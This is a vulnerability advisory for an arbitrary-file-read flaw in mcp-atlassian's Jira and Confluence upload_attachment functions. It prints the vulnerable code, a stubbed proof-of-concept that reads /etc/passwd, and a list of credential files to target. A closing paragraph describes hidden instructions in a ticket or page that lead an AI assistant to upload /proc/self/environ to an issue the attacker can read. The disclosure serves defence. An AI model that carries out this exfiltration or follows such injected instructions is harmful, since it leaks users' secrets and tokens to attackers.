CVE-2026-77266: mcp-atlassian: arbitrary file read via upload_attachment

### Summary The `upload_attachment` functions in both the Jira and Confluence modules accept a user-controlled `file_path` parameter and open the specified file for reading **without calling `validate_safe_path()`**. An authenticated MCP client can supply an arbitrary path such as `/etc/passwd` or `/proc/self/environ`, causing the server process to read and transmit the file's contents to the remote Atlassian instance as an attachment. This is an **incomplete fix** relative to GHSA-xjgw-4wvw-rgm4: the `download_attachment` and `download_issue_attachments` paths were hardened with `validate_safe_path()`, but the upload direction was left unguarded in both the Jira and Confluence modules. --- ### Details **Affected functions:** | File | Function | Line | |------|----------|------| | `src/mcp_atlassian/jira/attachments.py` | `upload_attachment()` | ~372–415 | | `src/mcp_atlassian/confluence/attachments.py` | `upload_attachment()` | ~62–108 | | `src/mcp_atlassian/confluence/attachments.py` | `_upload_attachment_direct()` | ~476–477 | **Jira — vulnerable code path (`jira/attachments.py`):** ```python def upload_attachment(self, issue_key: str, file_path: str) -> dict: ... if not os.path.isabs(file_path): file_path = os.path.abspath(file_path) # resolves relative paths if not os.path.exists(file_path): # confirms file exists ... # ⚠ validate_safe_path() is NEVER called here filename = os.path.basename(file_path) with open(file_path, "rb") as file: # arbitrary file opened attachment = self.jira.add_attachment( issue_key=issue_key, filename=file_path ) ``` Compare with the **protected** download path in the same file: ```python def download_attachment(self, url: str, target_path: str) -> bool: ... validate_safe_path(target_path) # upload has no equivalent ``` **Confluence — vulnerable code path (`confluence/attachments.py`):** ```python def upload_attachment(self, content_id, file_path, ...): ... if not os.path.isabs(file_path): file_path = os.path.abspath(file_path) # ⚠ validate_safe_path() is NEVER called filename = os.path.basename(file_path) attachment = self._upload_attachment_direct( content_id, file_path, filename, comment, minor_edit ) # Inside _upload_attachment_direct(): files = {"file": (filename, open(file_path, "rb"))} # ← arbitrary file opened ``` --- ### PoC Tested against commit `d8bc786` (v0.21.1, latest `main`). No real Atlassian credentials required — the API call is stubbed. **Jira PoC (`poc_001_jira_path_traversal.py`):** ```python import sys, os, types from unittest.mock import MagicMock sys.path.insert(0, "src") def _make_pkg(name): m = types.ModuleType(name); m.__path__ = []; sys.modules[name] = m; return m atlassian_pkg = _make_pkg("atlassian") atlassian_jira = _make_pkg("atlassian.jira") atlassian_pkg.jira = atlassian_jira atlassian_jira.Jira = type("Jira", (), { "__init__": lambda s, *a, **k: None, "_session": MagicMock() }) atlassian_pkg.Jira = atlassian_jira.Jira keyring = _make_pkg("keyring") keyring.get_password = keyring.set_password = lambda *a, **k: None from mcp_atlassian.jira.attachments import AttachmentsMixin from mcp_atlassian.jira.config import JiraConfig config = JiraConfig(url="https://test.atlassian.net", auth_type="basic", username="x", api_token="x") class FakeFetcher(AttachmentsMixin): def __init__(self): self.config = config self.jira = MagicMock() self.jira.add_attachment.return_value = {"id": "99", "filename": "passwd"} result = FakeFetcher().upload_attachment(issue_key="TEST-1", file_path="/etc/passwd") print(result) ``` **Observed output — Jira (Kali Linux, v0.21.1):** <img width="1342" height="131" alt="image" src="https://github.com/user-attachments/assets/70f4a55e-428d-4790-80c1-631a24337dbc" /> ``` [*] Target file : /etc/passwd [*] Calling : AttachmentsMixin.upload_attachment() [*] Return value: {'success': True, 'issue_key': 'TEST-1', 'filename': 'passwd', 'size': 3388, 'id': '99'} [*] Files opened: ['/etc/passwd'] [!!!] VULNERABLE — file opened with no path validation add_attachment call args: call(issue_key='TEST-1', filename='/etc/passwd') ``` **Observed output — Confluence (Kali Linux, v0.21.1):** <img width="2682" height="576" alt="image" src="https://github.com/user-attachments/assets/17fc641f-6c62-4e3f-87d0-81d6977f5004" /> ``` [*] Target file : /etc/passwd [*] Calling : ConfluenceAttachmentsMixin.upload_attachment() [*] Return value: {'success': True, 'content_id': '123456', 'filename': 'passwd', 'size': 3388, 'id': 'att-99'} [*] Files opened: ['/etc/passwd'] [!!!] VULNERABLE — /etc/passwd opened without validate_safe_path() upload_attachment() → _upload_attachment_direct() → open(file_path) download_attachment() in same file IS protected — asymmetric fix ``` Key evidence: - `success: True` — no exception raised, no path validation triggered - `size: 3388` — `/etc/passwd` was opened and read by `os.path.getsize()` - Both modules affected independently — neither Jira nor Confluence has an upload-side guard In a live deployment, the file content is streamed directly to the Atlassian API and stored as a visible attachment on the issue or page. --- ### Impact Any authenticated MCP client — including a compromised AI agent, a prompt-injected session, or a malicious plugin — can read and exfiltrate arbitrary files readable by the server process: - `/etc/shadow` — system password hashes - `/proc/self/environ` — process environment variables (API keys, secrets) - `~/.mcp-atlassian/oauth-*.json` — stored OAuth refresh tokens - SSH private keys, TLS certificates, application configuration files No special privileges beyond standard MCP tool access are required. The vulnerability affects both HTTP-mode (multi-user) and stdio-mode (local) deployments. Both the `jira_upload_attachment` and `confluence_upload_attachment` MCP tools are affected. **Root cause:** The `validate_safe_path()` utility introduced in GHSA-xjgw-4wvw-rgm4 was applied only to *download* operations. The upload path in both modules was never patched, leaving a symmetric file-read vector open.

An attacker plants hidden instructions in a Jira ticket comment or Confluence page that an enterprise AI assistant later summarizes. The injected prompt directs the agent to call jira_upload_attachment with file_path=/proc/self/environ on an issue the attacker can read. The MCP server opens the file and uploads it, and the attacker, who has read access to that issue, downloads the attachment and recovers Atlassian tokens, cloud API keys and other secrets. A malicious plugin or an already-compromised MCP client can do the same directly, for example against ~/.mcp-atlassian/oauth-*.json.